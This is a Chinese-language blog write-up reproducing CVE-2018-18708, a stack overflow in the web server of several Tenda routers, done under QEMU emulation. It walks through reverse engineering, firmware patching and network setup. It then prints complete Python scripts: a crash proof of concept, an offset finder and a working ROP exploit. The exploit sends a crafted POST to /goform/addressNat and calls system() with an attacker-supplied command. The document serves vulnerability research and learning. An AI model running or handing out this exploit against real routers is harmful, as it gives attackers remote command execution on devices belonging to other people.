Tenda CVE-2018-18708 漏洞复现
前言
笔者第一篇第二篇分析了mips架构下的漏洞(忘记写mips栈溢出的利用),这一篇记录一下CVE-2018-18708 漏洞复现,笔者选用的是 US_AC15V1.0BR_V15.03.05.19_multi_TD01这个固件,这个固件是arm架构
逆向分析
该漏洞影响很多型号:Tenda AC7 V15.03.06.44_CN, AC9 V15.03.05.19(6318)_CN, AC10 V15.03.06.23_CN, AC15 V15.03.05.19_CN, and AC18 V15.03.05.19(6318)_CN devices
,文件系统提取第一篇笔者写过,这个固件是个普通的固件,所以这里不再重复,固件下载地址
看一下cve描述
An issue was discovered on Tenda AC7 V15.03.06.44_CN, AC9 V15.03.05.19(6318)_CN, AC10 V15.03.06.23_CN, AC15 V15.03.05.19_CN, and AC18 V15.03.05.19(6318)_CN devices. It is a buffer overflow vulnerability in the router's web server -- httpd. When processing the "page" parameter of the function "fromAddressNat" for a post request, the value is directly used in a sprintf to a local variable placed on the stack, which overrides the return address of the function.
这是路由器的web服务器——httpd中的一个缓冲区溢出漏洞。 在处理 post 请求的函数“fromAddressNat”的“page”参数时,该值直接在 sprintf 中用于放置在堆栈上的局部变量,这会覆盖函数的返回地址。
httpd文件的漏洞,所以全局搜索httpd文件
进入ida之后全局搜索fromAddressNat
,直接跟进
entrys
mitInterface
page
三个参数用户可控,page会被sprintf拼接到v6中, 并没有对大小进行检查,导致了栈溢出漏洞
固件模拟
笔者没有买这个型号的路由器,所以这里用固件模拟
首先将qemu-arm-static复制到squashfs-root目录下cp $(which qemu-arm-static) .
直接利用qemu来运行试一下,sudo chroot . ./qemu-arm-static bin/httpd
发现welcome to这里会卡住,所以看一下汇编是什么原因
会有一个check_network的检测,直接patch掉就行,把mov r3, r0改成mov r3, #1
应用然后继续qemu模拟
发现又报了一个connect cfm failed错,继续看汇编然后patch
和上面一样patch
Apply patches to成功之后继续qemu模拟
成功模拟,但是遇见一个尴尬的事情,listen ip = 255.255.255.255,所以我们需要建立一个虚拟网桥br0,配置一下网络
sudo apt install uml-utilities bridge-utils
sudo brctl addbr br0
sudo brctl addif br0 eth0
sudo ifconfig br0 up
sudo dhclient br0
如上即可配置完成,然后继续模拟,可以成功访问web端,但是又遇见问题了
找了一圈发现将webroot_ro
的内容复制进了webroot
中,而webroot里面没有东西,所以就page not found了,rm -rf webroot
,sudo ln -s webroot_ro/ webroot
再次刷新即可
漏洞利用
在写exp的时候需要知道数据包必不可少的东西,如下
Cookie: password=是必要的,后面的值可以随便填
httpd是怎么运行的呢,其实和D-Link的goahead很像,goform都是被websFormHandle管制,写出如下poc,看一下是否能造成crash
import socket
import os
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
ip = '192.168.31.248'
port = 80
r = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
li('[+] connecting')
r.connect((ip, port))
li('[+] connect finish')
rn = b'\r\n'
p1 = b'a' * 0x300
p2 = b'page=' + p1
p3 = b"POST /goform/addressNat" + b" HTTP/1.1" + rn
p3 += b"Host: 192.168.0.1" + rn
p3 += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0" + rn
p3 += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + rn
p3 += b"Accept-Language: en-US,en;q=0.5" + rn
p3 += b"Accept-Encoding: gzip, deflate" + rn
p3 += b"Cookie: password=hum1qw" + rn
p3 += b"Connection: close" + rn
p3 += b"Upgrade-Insecure-Requests: 1" + rn
p3 += (b"Content-Length: %d" % len(p2)) +rn
p3 += b'Content-Type: application/x-www-form-urlencoded'+rn
p3 += rn
p3 += p2
li('[+] sendling payload')
r.send(p3)
response = r.recv(4096)
response = response.decode()
li(response)
成功crash,进行动态调试,先看一下偏移多少,poc如下
import socket
import os
from pwn import *
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
ip = '192.168.31.248'
port = 80
r = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
li('[+] connecting')
r.connect((ip, port))
li('[+] connect finish')
rn = b'\r\n'
p1 = cyclic(0x300)
p2 = b'page=' + p1
p3 = b"POST /goform/addressNat" + b" HTTP/1.1" + rn
p3 += b"Host: 192.168.0.1" + rn
p3 += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0" + rn
p3 += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + rn
p3 += b"Accept-Language: en-US,en;q=0.5" + rn
p3 += b"Accept-Encoding: gzip, deflate" + rn
p3 += b"Cookie: password=hum1qw" + rn
p3 += b"Connection: close" + rn
p3 += b"Upgrade-Insecure-Requests: 1" + rn
p3 += (b"Content-Length: %d" % len(p2)) +rn
p3 += b'Content-Type: application/x-www-form-urlencoded'+rn
p3 += rn
p3 += p2
li('[+] sendling payload')
r.send(p3)
response = r.recv(4096)
response = response.decode()
li(response)
最后计算出偏移为244 + 4,可以控制返回地址了,checksec之后发现只开了nx,构造rop链执行system函数
因为qemu没有aslr,所以可以利用libc的gadgets,笔者没有实体路由器,不知道路由器是否开启aslr
笔者筛选了一下gadgets,决定用下面两个来实现rop
0x00018298 : pop {r3, pc}
,0x00040cb8 : mov r0, sp ; blx r3
第一个可以将r3变成system_addr,而第二个mov r0, sp只需要将命令放到sp上,最后会跳转到r3也就是system_addr,就实现了system(命令)
接下来就是找一下libc的地址,可以使用ps aux | grep httpd来看pid,接着用sudo cat /proc/pid号/maps看libc的地址,但是笔者遇见的问题是这样子libc找的错的,所以笔者直接在pwndbg里面找到了一个got表里的地址,然后算出libc
from pwn import *
libc = ELF('./lib/libc.so.0')
atol = 0x3fdf18b0
base = atol - libc.sym['atol']
print(hex(base))
strcpy = base + libc.sym['strcpy']
print(hex(strcpy))
所以最后的rop链为p32(pop_r3_pc) + p32(system_addr) + p32(mov_r0_sp_blx_r3) + command
exp如下
import socket
import os
from pwn import *
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
ip = '192.168.31.248'
port = 80
r = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
li('[+] connecting')
r.connect((ip, port))
li('[+] connect finish')
rn = b'\r\n'
libc_base = 0x3fd9c000
system_addr = 0x005a270 + libc_base
pop_r3_pc = 0x00018298 + libc_base
mov_r0_sp_blx_r3 = 0x00040cb8 + libc_base
p1 = b'a' * 244 + b'a' * 4 + p32(pop_r3_pc) + p32(system_addr) + p32(mov_r0_sp_blx_r3) + b'id'
p2 = b'page=' + p1
p3 = b"POST /goform/addressNat" + b" HTTP/1.1" + rn
p3 += b"Host: 192.168.0.1" + rn
p3 += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0" + rn
p3 += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + rn
p3 += b"Accept-Language: en-US,en;q=0.5" + rn
p3 += b"Accept-Encoding: gzip, deflate" + rn
p3 += b"Cookie: password=hum1qw" + rn
p3 += b"Connection: close" + rn
p3 += b"Upgrade-Insecure-Requests: 1" + rn
p3 += (b"Content-Length: %d" % len(p2)) +rn
p3 += b'Content-Type: application/x-www-form-urlencoded'+rn
p3 += rn
p3 += p2
li('[+] sendling payload')
r.send(p3)
response = r.recv(4096)
response = response.decode()
li(response)
成功执行到system,并且command也被控制
总结
笔者还是觉得真机调试香,模拟有点难受,所以就连夜在闲鱼上买了一个tenda的路由器